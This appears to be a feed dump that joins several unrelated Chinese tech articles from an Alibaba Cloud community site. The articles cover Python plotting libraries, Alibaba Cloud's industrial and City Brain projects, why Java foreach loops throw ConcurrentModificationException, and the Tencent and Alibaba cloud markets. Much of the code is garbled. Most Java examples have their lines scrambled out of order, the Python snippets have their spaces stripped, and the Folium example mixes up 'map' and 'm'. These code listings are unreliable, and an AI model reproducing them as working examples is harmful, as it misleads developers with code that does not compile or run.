        }<strong>for</strong>col<strong>in</strong>df.columns])

        with plotly

        df.iplot(kind='scatter')

        with cufflinks

        Cufflinks使得图表绘制更加容易。您甚至还 可以使用Cufflinks生成令人惊叹的3D图表 。我只用几行代码生成了下面这个3D图表。

        用Cufflinks生成的3D图表

        你可以随时在Jupyter Notebook中试用它。

        – 快速窍门:

        在配置中设置:

        c.NotebookApp.iopub_data_rate_limit=1.0e10

        按以下方式导入:

        importplotly.graph_objsasgo
        importplotly.plotlyaspy
        importcufflinksascf
        fromplotly.offlineimportiplot,init_notebook_mode
        cf.go_offline()
        #Setglobaltheme
        cf.set_config_file(world_readable=True,theme='pearl',offline=True)
        init_notebook_mode()

        接下来,我将谈论另一个神库——Viz库。

        Folium

        Folium建立在Python生态系统的数据优势和Leaflet.js库的映射优势之上。您可以在python中操作数据,然后通过folium在Leaflet地图中将其可视化。Folium是一个用于绘制空间数据的“神库”。你还可以使用folium生成热图和等值区域图。让我们了解一下folium:

        地图定义为folium.Map对象,可在folium顶部添加其他folium对象。

        您可以为Folium渲染的地图使用不同的地图图层,例如MapBox,OpenStreetMap和其他几个图层,你可以查看此github库文件夹或此文档页面。

        你还可以选择不同的地图投影。有许多投影可供选择。

        让我们用美国失业的Geojson生成一个Choropleth地图。以下是片段:

        map=folium.Map([43,-100],zoom_start=4)
        choropleth=folium.Choropleth(
        geo_data=us_states,
        data=state_data,
        columns=['State','Unemployment'],
        key_on='feature.id',
        fill_color='YlGn',
        name='Unenployment',
        show=<strong>False</strong>,
        ).add_to(m)
        <em>#底层的GeoJson和StepColormap对象是可访问的</em>
        print(type(choropleth.geojson))
        print(type(choropleth.color_scale))
        folium.LayerControl(collapsed=<strong>False</strong>).add_to(m)
        map.save(os.path.join('results','GeoChoro.html'))
        map

        这只是一个基本的地图,你可以添加标记,弹出窗口等等。可以是下面的leaflet和folium生成的地图

        Altair + Vega

        Altair是一个声明性统计可视化库,基于Vega和Vega-Lite。

        声明意味着只需要提供数据列与编码通道之间的链接,例如x轴,y轴,颜色等,其余的绘图细节它会自动处理。声明使Altair变得简单,友好和一致。使用Altair可以轻松设计出有效且美观的可视化代码。

        Altair使您能够使用强大而简洁的可视化语法快速开发各种统计可视化图表。如果您使用的是Jupyter Notebook,则需要按以下方式安装它。它还包括一些示例vega数据集。

        pipinstall-Ualtairvega_datasetsnotebookvega

        Altair主要依赖Vega,为了使图表在屏幕上可见,你需要安装Vega,并且还需要为每个新会话运行此命令:

        alt.renderers.enable(‘notebook’)

        Altair中的数据是围绕Pandas Dataframe构建的。统计可视化最明显的特征是以整洁的Dataframes开始。您还可以将绘图另存为图像或在vega编辑器中打开它以获得更多选项。Altair可能不是最好的,但绝对值得一试。

        下面这个例子,我使用了汽车数据集;

        importaltairasalt
        fromvega_datasetsimportdata
        source=data.cars()
        brush=alt.selection(type='interval')
        points=alt.Chart().mark_point().encode(
        x='Horsepower:Q',
        y='Miles_per_Gallon:Q',
        color=alt.condition(brush,'Origin:N',alt.value('lightgray'))
        ).add_selection(
        brush
        )
        bars=alt.Chart().mark_bar().encode(
        y='Origin:N',
        color='Origin:N',
        x='count(Origin):Q'
        ).transform_filter(
        brush
        )
        alt.vconcat(points,bars,data=source)

        Altair和Vega生成的分散图和直方图

        D3.js(数据驱动文档DDD)

        D3.js是一个JavaScript库,根据数据操作文档。您可以使用HTML,SVG和CSS将数据变成活灵活现的图表。D3并不要求您将自己绑定到任何专有框架,因为现代浏览器拥有D3所需的一切,它还用于组合强大的可视化组件和数据驱动的DOM操作方法。

        D3.js是目前市场上最好的数据可视化库。 您可以将它与python一起使用,也可以与R一起使用。最初,它可以与JavaScript一起使用,因为JS具有广泛的功能并且需要大量的学习和经验,但是如果你是JS专业人员则不需要犹豫。虽然Python和R使D3.js变得更简单,但只是一点点!总之D3.js是绝对不会错的上佳之选。

        D3py有3个主要依赖项:

        NumPy

        Pandas

        NetworkX

        我建议你使用JavaScript或R,而不是python,因为版本已经过时,最后一次更新是在2016年。而且只是D3.js的一个瘦的python包装器。

        R提供D3可视化接口。使用r2d3,您可以将数据从R绑定到D3可视化。使用r2d3创建的D3可视化就像RStudio,R Markdown文档和Shiny应用程序中的R图一样工作。您可以按如下方式从CRAN 安装r2d3软件包:

        install.packages(“r2d3”)

        你可以做一些惊人的可视化,例如下面这几个:

        Sequences Sunburst — Kerry Rodden’s Block (Source)


        ]]>
        阿里云:用数字驱动世界 Fri, 02 May 2025 09:39:04 +0800 阿里云:用数字驱动世界

        文/ 邱月烨

        在推动传统企业互联网化转型的过程中,有很多选择,也有很多模式,究竟哪一种路径能够带来更成功的互联网化转型?

        阿里巴巴集团技术委员会主席王坚博士说:“如何定义互联网企业,它需要满足两个特征,一是要有云计算,二是要在云计算的基础上用数据来优化业务。”在他看来,很多人依然只是将互联网视为一个渠道,而不是思路和生意模式的转变。

        2009年9月,在马云的支持下,王坚创建阿里云计算公司并任总裁,领导团队自主研发了大规模分布式计算系统“飞天”,完成了云计算公共服务的商业化。同年提出并主导了阿里巴巴集团的去“IOE”战略。2010年,他又率领团队,孵化并打造了YunOS,建立起商业化的操作系统平台,用于手机、汽车、电视等智能设备。

        2015年10月,阿里在杭州召开了首届云栖大会——前身是阿里云开发大会。在这次会议上,马云发表了“计算能力将会成为一种生产能力,而数据将会成为最大的生产资料,会成为像水、电、石油一样的公共资源”这一广为流传的观点。

        随后每一年,马云不停在云栖大会上抛出新概念:2016年,马云提出著名的“五新”战略(新零售、新金融、新制造、新技术、新能源);2017年,马云宣布成立达摩院;2018年,马云重提“新制造”。

        阿里云向传统行业推进的步伐也跟随着马云的大战略,承担着阿里to B、to G输出技术与服务的重担,逐渐席卷从金融业到零售业到制造业,再到城市的每一个角落。

        进军实体经济

        2018年11月2日,阿里巴巴集团公布2019财年第二季度(2018年7月至9月底)业绩,阿里云业务季度营收达到56.67亿元,整个上半财年营收首次突破100亿元,亚洲市场第一的领先优势继续扩大。

        美国权威机构Gartner统计,阿里云的营收规模连续两年位居全球云计算厂商前三。在国内,阿里云的市场份额位居首位,甚至超过二至五名的总和,其中包括腾讯、百度。

        阿里云高增速的背后,是产品的快速更迭和出新。以2019财年第二季度为例,阿里云推出了600多种新产品和功能,涉及专有云产品开发、大数据分析和人工智能应用创新、安全及IoT物联网服务的提高,比如ET工业大脑开放平台、全链路生态服务的LoRa物联网、企业级区块链BaaS服务以及全面升级的飞天2.0云计算操作系统等。

        在阿里内部,阿里云最早的实践是支付宝或者说蚂蚁金服,帮助支付宝度过数次“双十一”交易洪峰。

        在外部,互联网公司是最早接受云概念的,例如微博,其特点是业务高峰不可预知且不可估算,每次遇到热点事件和重大活动,微博会因瞬时极高的访问量而造成瘫痪。云的弹性特点完美解决了这一问题,可以对峰值流量的挑战进行快速调整和扩容。新浪微博首席技术官刘子正曾表示,使用阿里云让新浪微博至少节省了1400台服务器。

        近两年,阿里云的触角逐渐从线上走到实体经济。2018年11月22日,在广东云栖大会上,阿里云正式发布飞龙工业互联网平台,该平台立足广东,辐射粤港澳大湾区,帮助广东打造新能源、电气装备等八大工业互联网产业集群。

        物联网、云计算、人工智能是阿里云的三驾马车,飞龙工业互联网平台即构筑于三者之上,基于此打通制造型企业的信息化系统,利用工业IoT梳理制造企业的供研产销全链路数据,在云端构建工业大数据平台,并通过ET工业大脑对数据进行加工分析,优化制造流程。

        目前,海油发展、京信通信、瀚蓝环境、迪森热能等广东制造企业已经采用飞龙平台。事实上,早在2016年,阿里云的工程师就进入工厂车间,与协鑫光伏、中策橡胶等行业龙头合作。

        “两年多前,当所有人争论实体经济、虚拟经济时,阿里云的工程师们看到了实体经济中最有潜力、最有挑战的地方:数据特别密集,智能特别匮乏;数据越来越多,速度越来越慢。”阿里云机器智能首席科学家闵万里说。

        以光伏产业为例,闵万里介绍,阿里云已从最早期的单点智能、工厂里走到整个生产流程环节,已实现从切片到电池组车间全链路的打通。“智能的起点是一个流程当中很小的环节,但最终顺着数据流的上行和下行并贯穿始终的时候,价值链实现了百分之百的覆盖。”

        协鑫光伏良品率提升1%,一年多赚上亿;中策橡胶提升混炼胶平均合格率3%-5%,一年多赚几千万;恒逸石化的锅炉燃煤发电效率提升了2.6%,每年节煤有数千万元的收入。“当你讲清楚价值的时候,制造企业都抢着上云。”闵万里说。

        阿里云通过不断的案例积累和学习,逐渐形成了针对不同行业的“算法包”,闵万里将其称为“经验数据化”。“凡是依赖‘老师傅’的经验,而且具有高度重复性的工作,都有可能用算法的方式去学会‘老师傅’的经验,而且超越他。就像谷歌的阿尔法狗下围棋,它能够学习所有九段棋手的棋谱,因为看得快算得快,一夜之间就成了十段。”

        但这其中涉及到数据机密的问题:领先的企业是否愿意与其他公司分享自己的经验?闵万里认为这个担忧不成立。“一个医生给你看了病,医生的经验增长了,之后他再去给另外一个人看病,你不准他去看吗?不会把他的数据、参数泄露出去,我提炼的是知识和控制的机理。‘老师傅’会跳槽,没带走任何东西,只有他的脑袋。”

        目前,在飞龙平台上形成“算法包”的行业涉及广东八大互联网产业集群,包括新能源产业、汽车及零部件产业、电器装备产业、LED灯具产业、日用化工品产业、小家电产业。“算法包是有行业属性的,光伏的不能用到电力的,不能用到钢铁的。八大行业的案例我们全都做过,里面的能力模块都提炼成行业模块,行业模块就放在工业物联网平台上,只要行业对应开发者就能用。”

        此外,ET工业大脑还在平台上与合作伙伴、开发者共同赋能,让中小企业也能受惠于人工智能技术。黑格科技是一家由7位90后常春藤大学毕业生创办的公司,聚焦3D打印应用和数字化智能制造技术。如牙齿打印这个领域,以往只能通过经验来控制3D打印固化物与树脂槽底的逐层分离,是个难点。飞龙平台上的ET工业大脑可以分析剥离过程中的层面积、层曝光时间、材料耗损等多达15个维度的关键因素,智能推荐合适的剥离力参数,使黑格科技的整体打印时间缩短40%。这也是3D打印行业史上第一次基于人工智能技术提高打印效率。

        看得见的云

        摄像头越来越多,道路越来越堵,这是目前很多大城市的通病。但在杭州,这样的现象现在几乎不复存在。一个最直观的数据是,在全国最拥堵城市排行榜上,杭州从2016年第5名下降到第57名。这一切很大程度上要归功于2016年阿里云在杭州启动的“城市大脑”建设。

        阿里巴巴很早就判断产业互联网将是未来的发展趋势,云计算等新技术会给各个产业带来巨大的提升机会,并将成为经济转型的重要爆发点,并为这一天的到来进行了长达6年的技术部署。

        在2018年的云栖大会上,阿里云前总裁胡晓明表示:“前20年互联网的发展实现了人和服务的连接,后面20年将由to C的互联网驱动to B和to G的改变。为什么我们今天要推行城市大脑?因为消费者都在通过互联网获取服务,无论是零售、制造、金融、城市管理,都要围绕着消费者的改变而改变。产业互联网一定是一个大生态、大机会,在未来的20年持续成长。”

        目前,杭州城市大脑2.0已经覆盖杭州市420平方公里,过去一年管辖范围扩大了28倍;涵盖20多个部门、100多个系统,首次实现了城市数据的汇聚、融合、计算,打破了城市数据孤岛;优化了1300个红绿灯路口,占大杭州路口总数1/4,其中一半路口无人调控,同时接入4500路视频。

        当一辆救护车开始出发后,计算便开始了:高德地图、GPS 卫星导航、路面磁感线圈、1300 个路口摄像头同时开动,为这辆救护车勘探最快路线;GPS 传回实时数据,后台根据辅助数据纠偏,锚定救护车每一刻的精确位置;救护车将要经过的沿途,车辆情况被实时计算,确保路口绿灯提前亮起,在救护车通过之前,刚好所有社会车辆已经行驶一空……就这样,一辆救护车在不闯红灯的前提下,到达救护地点的时间缩短50%,从过去的 15 分钟降到现在的 7-8 分钟。

        城市交通是城市大脑最早切入的领域之一,解决了交通工程实践几十年未曾突破的根本问题:第一次实现了城市生命体从主动脉至毛细血管的多层次实时全息量化透视,如对在途车辆数的实时计算,得到同一时间处于行驶状态的机动车数。

        城市大脑2.0还有一个重大突破,通过手持的移动终端,大脑可以直接指挥杭州市200多名交警,如派交警机动队现场处置交通事故等,目前城市大脑报警已占全部警情96%以上。

        王坚是城市大脑的主导人之一,他时常拿美国波士顿的 “Big Dig”项目作为反例:当时波士顿城区的交通不好,于是修地下隧道,不到20英里的路花了160亿美元和整整20年。“杭州做了一件事情,就是不修路,让交通能畅通起来。”王坚说。

        王坚对城市大脑寄予厚望,远不止交通。作为城市重要的基础设施,城市大脑未来还可能会在城市治理、城市安全、医疗健康等社会全领域发挥基础性作用。

        对于to G服务,胡晓明强调,数据属于政府。“阿里巴巴不会碰任何数据,提供的是技术能力,我们协同政府一起制定关于政府数据开放的标准、能力,但是以政府为主,我们仅仅提供服务。”

        胡晓明也希望将城市大脑从杭州推向更多城市,“这个推动不是因为阿里要做生意,而是城市的方方面面都应该以数据驱动创新,带动变革”。

        ]]>
        为什么阿里巴巴禁止在 foreach 循环里进行元素的 remove/add 操作 Fri, 02 May 2025 09:39:04 +0800 为什么阿里巴巴禁止在 foreach 循环里进行元素的 remove/add 操作


        在阿里巴巴Java开发手册中,有这样一条规定:

        阿里云技术论坛云栖社区


        但是手册中并没有给出具体原因,本文就来深入分析一下该规定背后的思考。

        1.foreach循环

        foreach循环(Foreach loop)是计算机编程语言中的一种控制流程语句,通常用来循环遍历数组或集合中的元素。

        Java语言从JDK 1.5.0开始引入foreach循环。在遍历数组、集合方面,foreach为开发人员提供了极大的方便。通常也被称之为增强for循环。

        foreach 语法格式如下:

        for(元素类型t 元素变量x : 遍历对象obj){  
             引用了x的java语句;  
        }  

        以下实例演示了 普通for循环 和 foreach循环使用:

        public static void main(String[] args) { 
            // 使用ImmutableList初始化一个List 
            List<String> userNames = ImmutableList.of("Hollis", "hollis", "HollisChuang", "H"); 
              System.out.println("使用for循环遍历List");      for (int i = 0; i < userNames.size(); i++) { 
            for (String userName : userNames) { 
                System.out.println(userNames.get(i));      }        System.out.println("使用foreach遍历List");          System.out.println(userName); 
            } 

        以上代码运行输出结果为:

        使用for循环遍历List 
        Hollis 
        HollisChuang 
        hollis  H 
        使用foreach遍历List 
        Hollis  hollis 
        HollisChuang 

        可以看到,使用foreach语法遍历集合或者数组的时候,可以起到和普通for循环同样的效果,并且代码更加简洁。所以,foreach循环也通常也被称为增强for循环。

        但是,作为一个合格的程序员,我们不仅要知道什么是增强for循环,还需要知道增强for循环的原理是什么?

        其实,增强for循环也是Java给我们提供的一个语法糖,如果将以上代码编译后的class文件进行反编译(使用jad工具)的话,可以得到以下代码:

        Iterator iterator = userNames.iterator(); 
        do  {      if(!iterator.hasNext()) 
            String userName = (String)iterator.next(); 
                break;      if(userName.equals("Hollis")) 
        } while(true); 
                userNames.remove(userName); 
        System.out.println(userNames); 

        可以发现,原本的增强for循环,其实是依赖了while循环和Iterator实现的。(请记住这种实现方式,后面会用到!)

        2.问题重现

        规范中指出不让我们在foreach循环中对集合元素做add/remove操作,那么,我们尝试着做一下看看会发生什么问题。

        // 使用双括弧语法(double-brace syntax)建立并初始化一个List 
        List<String> userNames = new ArrayList<String>() {{ 
            add("Hollis");      add("hollis"); 
        for (int i = 0; i < userNames.size(); i++) { 
            add("HollisChuang");      add("H");  }};   
                userNames.remove(i); 
            if (userNames.get(i).equals("Hollis")) {      }  }   
        System.out.println(userNames); 

        以上代码,首先使用双括弧语法(double-brace syntax)建立并初始化一个List,其中包含四个字符串,分别是Hollis、hollis、HollisChuang和H。

        然后使用普通for循环对List进行遍历,删除List中元素内容等于Hollis的元素。然后输出List,输出结果如下:

        [hollis, HollisChuang, H] 
        

        以上是使用普通的for循环在遍历的同时进行删除,那么,我们再看下,如果使用增强for循环的话会发生什么:

        List<String> userNames = new ArrayList<String>() {{ 
            add("Hollis");      add("hollis"); 
        for (String userName : userNames) { 
            add("HollisChuang");      add("H");  }};   
                userNames.remove(userName); 
            if (userName.equals("Hollis")) {      }  }   
        System.out.println(userNames); 

        以上代码,使用增强for循环遍历元素,并尝试删除其中的Hollis字符串元素。运行以上代码,会抛出以下异常:

        java.util.ConcurrentModificationException 
        

        同样的,读者可以尝试下在增强for循环中使用add方法添加元素,结果也会同样抛出该异常。

        之所以会出现这个异常,是因为触发了一个Java集合的错误检测机制——fail-fast 。

        3.fail-fast

        接下来,我们就来分析下在增强for循环中add/remove元素的时候会抛出java.util.ConcurrentModificationException的原因,即解释下到底什么是fail-fast进制,fail-fast的原理等。

        fail-fast,即快速失败,它是Java集合的一种错误检测机制。当多个线程对集合(非fail-safe的集合类)进行结构上的改变的操作时,有可能会产生fail-fast机制,这个时候就会抛出ConcurrentModificationException(当方法检测到对象的并发修改,但不允许这种修改时就抛出该异常)。

        同时需要注意的是,即使不是多线程环境,如果单线程违反了规则,同样也有可能会抛出改异常。

        那么,在增强for循环进行元素删除,是如何违反了规则的呢?

        要分析这个问题,我们先将增强for循环这个语法糖进行解糖(使用jad对编译后的class文件进行反编译),得到以下代码:

        public static void main(String[] args) { 
            // 使用ImmutableList初始化一个List 
            List<String> userNames = new ArrayList<String>() {{ 
                add("Hollis");          add("hollis");          add("HollisChuang"); 
            { 
                add("H");      }};        Iterator iterator = userNames.iterator();      do 
                String userName = (String)iterator.next(); 
                if(!iterator.hasNext())              break;          if(userName.equals("Hollis")) 
                    userNames.remove(userName);      } while(true); 
            System.out.println(userNames); 

        然后运行以上代码,同样会抛出异常。我们来看一下ConcurrentModificationException的完整堆栈:

        阿里云技术论坛云栖社区

        通过异常堆栈我们可以到,异常发生的调用链ForEachDemo的第23行,Iterator.next 调用了 Iterator.checkForComodification方法 ,而异常就是checkForComodification方法中抛出的。

        其实,经过debug后,我们可以发现,如果remove代码没有被执行过,iterator.next这一行是一直没报错的。抛异常的时机也正是remove执行之后的的那一次next方法的调用。

        我们直接看下checkForComodification方法的代码,看下抛出异常的原因:

        final void checkForComodification() { 
            if (modCount != expectedModCount) 
                throw new ConcurrentModificationException(); 

        代码比较简单,modCount != expectedModCount的时候,就会抛出ConcurrentModificationException。

        那么,就来看一下,remove/add 操作室如何导致modCount和expectedModCount不相等的吧。

        4.remove/add 做了什么

        首先,我们要搞清楚的是,到底modCount和expectedModCount这两个变量都是个什么东西。

        通过翻源码,我们可以发现:

        • modCount是ArrayList中的一个成员变量。它表示该集合实际被修改的次数。
        • expectedModCount 是 ArrayList中的一个内部类——Itr中的成员变量。expectedModCount表示这个迭代器期望该集合被修改的次数。其值是在ArrayList.iterator方法被调用的时候初始化的。只有通过迭代器对集合进行操作,该值才会改变。
        • Itr是一个Iterator的实现,使用ArrayList.iterator方法可以获取到的迭代器就是Itr类的实例。

        他们之间的关系如下:

        class ArrayList{ 
            private int modCount; 
            public void add(); 
            private class Itr implements Iterator<E> { 
            public void remove(); 
            public Iterator<E> iterator() { 
                int expectedModCount = modCount;      } 
                return new Itr(); 
            } 

        其实,看到这里,大概很多人都能猜到为什么remove/add 操作之后,会导致expectedModCount和modCount不想等了。

        通过翻阅代码,我们也可以发现,remove方法核心逻辑如下:


        可以看到,它只修改了modCount,并没有对expectedModCount做任何操作。

        简单总结一下,之所以会抛出ConcurrentModificationException异常,是因为我们的代码中使用了增强for循环,而在增强for循环中,集合遍历是通过iterator进行的,但是元素的add/remove却是直接使用的集合类自己的方法。这就导致iterator在遍历的时候,会发现有一个元素在自己不知不觉的情况下就被删除/添加了,就会抛出一个异常,用来提示用户,可能发生了并发修改。

        5.正确姿势

        至此,我们介绍清楚了不能在foreach循环体中直接对集合进行add/remove操作的原因。

        但是,很多时候,我们是有需求需要过滤集合的,比如删除其中一部分元素,那么应该如何做呢?有几种方法可供参考:

        1、直接使用普通for循环进行操作

        我们说不能在foreach中进行,但是使用普通的for循环还是可以的,因为普通for循环并没有用到Iterator的遍历,所以压根就没有进行fail-fast的检验。

        List<String> userNames = new ArrayList<String>() {{ 
                add("Hollis");          add("hollis"); 
            }}; 
                add("HollisChuang");          add("H");   
                if (userNames.get(i).equals("Hollis")) { 
            for (int i = 0; i < 1; i++) {              userNames.remove(i);          } 
            System.out.println(userNames); 
            } 

        2、直接使用Iterator进行操作

        除了直接使用普通for循环以外,我们还可以直接使用Iterator提供的remove方法。

        List<String> userNames = new ArrayList<String>() {{ 
                add("Hollis");          add("hollis"); 
            }}; 
                add("HollisChuang");          add("H");   
            while (iterator.hasNext()) { 
            Iterator iterator = userNames.iterator();            if (iterator.next().equals("Hollis")) { 
            System.out.println(userNames); 
                    iterator.remove();          } 
            } 

        如果直接使用Iterator提供的remove方法,那么就可以修改到expectedModCount的值。那么就不会再抛出异常了。其实现代码如下:

        阿里云技术论坛云栖社区

        3、使用Java 8中提供的filter过滤

        Java 8中可以把集合转换成流,对于流有一种filter操作, 可以对原始 Stream 进行某项测试,通过测试的元素被留下来生成一个新 Stream。

        List<String> userNames = new ArrayList<String>() {{ 
                add("Hollis");          add("hollis"); 
            }}; 
                add("HollisChuang");          add("H");   
            userNames = userNames.stream().filter(userName -> !userName.equals("Hollis")).collect(Collectors.toList()); 
            System.out.println(userNames); 

        4、直接使用fail-safe的集合类

        在Java中,除了一些普通的集合类以外,还有一些采用了fail-safe机制的集合类。这样的集合容器在遍历时不是直接在集合内容上访问的,而是先复制原有集合内容,在拷贝的集合上进行遍历。

        由于迭代时是对原集合的拷贝进行遍历,所以在遍历过程中对原集合所作的修改并不能被迭代器检测到,所以不会触发ConcurrentModificationException。

        ConcurrentLinkedDeque<String> userNames = new ConcurrentLinkedDeque<String>() {{ 
            add("Hollis");      add("hollis");      add("HollisChuang");      add("H"); 
                userNames.remove(); 
        }};    for (String userName : userNames) {      if (userName.equals("Hollis")) { 
            } 

        基于拷贝内容的优点是避免了ConcurrentModificationException,但同样地,迭代器并不能访问到修改后的内容,即:迭代器遍历的是开始遍历那一刻拿到的集合拷贝,在遍历期间原集合发生的修改迭代器是不知道的。

        java.util.concurrent包下的容器都是安全失败,可以在多线程下并发使用,并发修改。

        5、使用增强for循环其实也可以

        如果,我们非常确定在一个集合中,某个即将删除的元素只包含一个的话, 比如对Set进行操作,那么其实也是可以使用增强for循环的,只要在删除之后,立刻结束循环体,不要再继续进行遍历就可以了,也就是说不让代码执行到下一次的next方法。

        List<String> userNames = new ArrayList<String>() {{ 
                add("Hollis");          add("hollis"); 
            }}; 
                add("HollisChuang");          add("H");   
                if (userName.equals("Hollis")) { 
            for (String userName : userNames) {              userNames.remove(userName); 
            System.out.println(userNames); 
                    break;          } 
            } 

        以上这五种方式都可以避免触发fail-fast机制,避免抛出异常。如果是并发场景,建议使用concurrent包中的容器,如果是单线程场景,Java8之前的代码中,建议使用Iterator进行元素删除,Java8及更新的版本中,可以考虑使用Stream及filter。

        6.总结

        我们使用的增强for循环,其实是Java提供的语法糖,其实现原理是借助Iterator进行元素的遍历。

        但是如果在遍历过程中,不通过Iterator,而是通过集合类自身的方法对集合进行添加/删除操作。那么在Iterator进行下一次的遍历时,经检测发现有一次集合的修改操作并未通过自身进行,那么可能是发生了并发被其他线程执行的,这时候就会抛出异常,来提示用户可能发生了并发修改,这就是所谓的fail-fast机制。

        当然还是有很多种方法可以解决这类问题的。比如使用普通for循环、使用Iterator进行元素删除、使用Stream的filter、使用fail-safe的类等。

        好啦,以上就是本文的全部内容。主要介绍了阿里巴巴Java开发手册禁止在foreach循环体中进行元素的add/remove等原因及背后原理。


        ]]>
        腾讯云vs阿里云,谁主沉浮? Fri, 02 May 2025 09:39:04 +0800 腾讯云vs阿里云,谁主沉浮?



        本文旨在通过人工智能行业对云服务平台代表性产品——阿里云、腾讯云的产品定位、核心功能、发展战略等方面的研究,探讨人工智能云服务平台产品的在国内的发展趋势。为之后根据实际情况,利用具有较多优势的云服务平台,研发应用层人工智能产品提供决策辅助。

        阿里云与腾讯云对比

        一、行业背景

        1. 行业概况

        云计算的发展经历了从虚拟化、并行等技术成熟的前期积累阶段,到SaaS、IaaS、PaaS 三种形式出现的形成阶段,当前正处于通过深度竞争形成主流平台和标准的成熟阶段。

        云计算作为移动互联网、物联网、大数据、智能硬件和工业 4.0 等新兴方向的底层支撑,近年来发展迅速。

        以SaaS为代表的云服务出现在20世纪90年代末。2005年亚马逊推出的AWS服务,使产业界真正认识到一种新的IT服务模式的诞生。在此之后,谷歌、IBM、微软等互联网和IT企业分别从不同的角度开始提供不同层面的云计算服务,云服务进入了快速发展的阶段。

        云服务正在逐步突破互联网市场的范畴,政府、公共管理部门、各行业企业也开始接受云服务的理念,并开始将传统的自建IT方式转为使用公共云服务方式,云服务将真正进入其产业的成熟期。

        2. 市场现状

        发展阶段:

        一个行业大致可以分为四个发展阶段:探索阶段、快速发展阶段、成熟阶段、衰退阶段。

        根据2015年Gartner技术成熟度曲线,大部分云计算服务——如:AI云服务,仍处于快速发展期;部分服务——如:SaaS与IaaS,处于成熟期。

        为了推进云计算的快速发展,相关支持政策陆续出台。

        根据工业和信息化部印发的《云计算发展三年行动计划(2017-2019年)》:计划目标到2019年,我国云计算产业规模达到4300亿元,大量的资本进场将其带入一个高潮。

        总体来看,当前我国云计算市场整体规模较小,与全球云计算市场相比有3-5年的差距。虽然整体行业趋于成熟,但渗透率并不高。全球市场中,全球IT总投入大概是3.5万亿美金,其中云计算市场只占到3000亿美金左右,整个市场渗透率只有10%左右,而国内云计算市场渗透率更低。

        爱分析首席分析师李喆表示:中国云计算市场渗透率只有5-7%,仍处于相对早期阶段。考虑到国内云服务发展略微滞后的现实,我们认为国内云服务平台仍处于快速发展期的中后阶段。

        腾讯云vs阿里云

        图1. 2015技术成熟度曲线(Gartner,2015)

        市场规模:

        据前瞻产业研究院发布的《中国云计算产业发展前景与投资战略规划分析报告》统计数据显示:我国公有云市场保持50%以上的增速。

        截止至2017年我国云计算整体市场规模达691.6亿元,增速34.32%。其中,公有云市场规模达到264.8亿元,相比2016年增长55.7%。预计2018-2021年仍将保持快速增长态势,到2021年市场规模将达到902.6亿元,私有云市场规模达426.8亿元,较2016年增长23.8%。预计未来几年将保持稳定增长,到2021年市场规模将达到955.7亿元。

        其中,IaaS(基础设施即服务)成为公有云中增速最快的服务类型。

        2017年,公有云IaaS市场规模达到148.7亿元,相比2016年增长70.1%。截止2018年6月底,共有301家企业获得了工信部颁发的云服务(互联网资源协作服务)牌照,随着大量地方行业IaaS服务商的进入,预计未来几年IaaS市场仍将快速增长。

        PaaS(平台即服务)市场整体规模偏小,2017年仅为11.6亿元,较2016年增加52.6%。SaaS(软件即服务)市场规模达到104.5亿元,与2016年相比增长39.1%。

        腾讯云vs阿里云

        图2.2015-2021年我国云计算整体市场规模统计及增长情况预测(前瞻产业研究院,2019)

        产业链:

        当前,人工智能行业已经形成较清晰的产业链。

        云计算的上游主要是芯片企业(Intel等)、网络设备提供商(华为,思科等)、网络运营商(中国电信、中国联通等)、储存提供商(EMC、华为等)、服务器提供商(浪潮、华为等)以及操作系统(Vmware,微软等)。

        下游主要是不同行业的应用产品。云平台为技术层重要组成部分,国内代表产品有:阿里云、腾讯云、百度云、华为云等。

        在人工智能领域,这些云平台主要整合了内容识别、智能语音、人脸识别、自然语言处理等功能,通过云平台、解决方案、SDK接入等形式供下游企业使用。

        腾讯云vs阿里云

        图3.中国AI产业链(易观,2018)

        腾讯云vs阿里云

        图4.中国云计算服务重点企业(易观,2018)

        产业发展趋势:

        AI+云:云平台集中数据和算力,”AI+云”是未来趋势 ——算力、算法和数据是AI不可或缺的 ” 三驾马车 “。

        云计算的发展导致了大量数据向云平台集中,而云平台自身就具备强大的计算能力,只要再提交算法给云平台,就满足执行 AI 算法的核心要素。因此,云平台是执行AI算法的上佳选择。所以,通过直接在云平台上增加 AI 处理能力将是未来发展趋势。

        云平台为 AI 提供运行平台,AI反过来提升云计算 “智商”。目前,阿里云、AWS、腾讯云、华为云等均已提供AI计算平台。

        安全性能:云应用越多,云安全性将变得更加脆弱,这是一个众所周知的事实。

        2018年全球信息安全支出预计达到930亿美元,2017年为864亿美元。在不久的将来,安全问题盛行,云计算行业将期待更多网络安全公司提出新的云安全措施。实现云安全服务的自动化、加速和集成可以重新定义云安全措施。

        集中度上升:全球方面,2017年全球公有云市场份额排名前三的是:亚马逊 AWS,微软 Azure 和阿里云。

        AWS 占据 54.2%的市场份额,阿里云的全球市场份额从 2016 年的 3.0%上升至 2017 年的 3.7%,领先于第四名谷歌 2.8%的市场份额,全球云计算整体市场集中度进一步提升。

        2017年中国公有云服务整体市场份额中,阿里云继续保持市场领军位置,全年营收 11.12 亿美元,市场份额达到 45.5%;腾讯云居第二,营收 2.51 亿美元,市场份额达到 10.3%;中国电信排名第三,市场份额 7.6%;位居第四的金山云,市场份额为 6.5%;亚马逊 AWS首次进入国内前五,市场份额为 5.4%。

        基础设施化:移动互联网在过去几年中充分释放了人口红利,现在,“如何继续挖掘数据红利?”,成了持续获客的保证。这就要求互联网云基础设施不仅能够提供虚拟机、存储、弹性扩容资源,而且要具备高效处理应用的能力,更需要像人工智能这样的智能底座来支持和经营数据。

        在Cloud 1.0时代,主要以计算、存储、网络、数据库等资源型服务为主,要满足高并发、弹性扩缩容的需求。而这些需求通常基于高可用的软件和通用的硬件来实现。现在正是从Cloud 1.0向Cloud 2.0过渡的关键期,最大的变化是:基础设施要以应用为中心,以提供能力服务为主。

        标准统一:目前,众多标准组织都把云的互操作、业务迁移和安全列为云计算3个最重要的标准化方向。

        类似于今天电信网络中不同运营商同类业务间的互联互通,未来云提供商之间也必然实现互联,实现互操作,这也是建立更加合理的市场竞合关系的必要条件。

        云平台之间的互操作将促进云计算产业链的进一步细分,并产生更加灵活和多样化的业务形式。互操作将产生众多云间接口的标准化需求,如:计算云与存储云间的接口、软件云与基础设施云间的接口等。

        云间的业务迁移是维护市场秩序,避免业务垄断和用户锁定的重要基础。云间的业务迁移需要在提供同类云计算业务的提供商之间,定义标准化的业务、资源、数据描述方式,这也产生了大量的标准需求。

        在云计算发展面临的挑战中,安全和隐私排在了首位。

        云安全被认为是决定云计算能否生存下去的关键问题,因此也自然成为标准化所关注的重点。当然,安全问题需要从法律、监管、信任体系等多个角度入手去解决,标准化只是其中的一个方面。

